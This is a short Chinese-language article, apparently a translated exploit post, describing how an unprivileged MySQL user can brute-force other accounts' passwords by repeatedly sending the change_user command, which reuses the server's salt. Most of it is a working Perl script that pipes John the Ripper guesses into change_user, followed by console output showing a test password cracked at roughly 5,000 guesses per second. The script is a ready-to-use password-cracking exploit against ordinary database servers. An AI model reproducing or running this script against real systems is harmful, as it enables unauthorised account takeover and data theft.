快速高效的破解MySQL本地和遠(yuǎn)程密碼
快速的 MySQL 本地和遠(yuǎn)程密碼破解!首先需要對(duì)數(shù)據(jù)庫(kù)維護(hù)人員說明的是,不必緊張,你無需修補(bǔ)這個(gè)問題,看起來其實(shí)是個(gè)小錯(cuò)誤而已。
我找到一個(gè)方法可非常高效的破解 MySQL 的用戶密碼,包括本地用戶和通過網(wǎng)絡(luò)方式訪問的用戶密碼。在我的測(cè)試中,通過網(wǎng)絡(luò)方式的方法可每秒鐘測(cè)試 5000 個(gè)密碼。
方法如下:
攻擊者使用一個(gè)無特權(quán)帳號(hào)登錄到 MySQL 服務(wù)器,mysql 有一個(gè)名為 change_user 的命令,該命令可用于在 mysql 會(huì)話中修改用戶時(shí)的名字建議。因?yàn)檫@個(gè)命令執(zhí)行非常快,因此可以很快速的用來破解 mysql 密碼,而不是每次都重新連接到 mysql 服務(wù)器。
是什么導(dǎo)致非常慢?
因?yàn)槭褂?change_user 命令不會(huì)更改 SALT(這是一個(gè)弱點(diǎn)),而常規(guī)破解密碼的方法每次連接時(shí)服務(wù)器都發(fā)送不同的 SALT。
下面是一個(gè) Perl 腳本使用了 John the Ripper 的方法來生成密碼:
測(cè)試的用戶是 crackme 密碼為 pass,只需數(shù)秒就可破解。
(大約 20 秒鐘可測(cè)試 10 萬密碼)
測(cè)試腳本如下:
- use Net::MySQL;
- $|=1;
- my $mysql = Net::MySQL->new(
- hostname => ’192.168.2.3′,
- database => ‘test’,
- user => “user”,
- password => “secret”,
- debug => 0,
- );
- $crackuser = “crackme”;
- while(<stdin>) {
- chomp;
- $currentpass = $_;
- $vv = join “”,
- $crackuser,
- “\x14″.
- Net::MySQL::Password->scramble(
- $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
- ) . “”;
- if ($mysql->_execute_command(“\x11″, $vv) ne undef) {
- print “[*] Cracked! –> $currentpass\n”;
- exit;
- }
- }
下面是我這臺(tái)機(jī)器上的執(zhí)行結(jié)果:
- C:\Users\kingcope\Desktop>C:\Users\kingcope\Desktop\john179\run\jo
- hn –incremental –stdout=5 | perl mysqlcrack.pl
- Warning: MaxLen = 8 is too large for the current hash type, reduced to 5
- words: 16382 time: 0:00:00:02 w/s: 6262 current: citcH
- words: 24573 time: 0:00:00:04 w/s: 4916 current: rap
- words: 40956 time: 0:00:00:07 w/s: 5498 current: matc3
- words: 49147 time: 0:00:00:09 w/s: 5030 current: 4429
- words: 65530 time: 0:00:00:12 w/s: 5354 current: ch141
- words: 73721 time: 0:00:00:14 w/s: 5021 current: v3n
- words: 90104 time: 0:00:00:17 w/s: 5277 current: pun2
- [*] Cracked! –> pass
- words: 98295 time: 0:00:00:18 w/s: 5434 current: 43gs
- Session aborted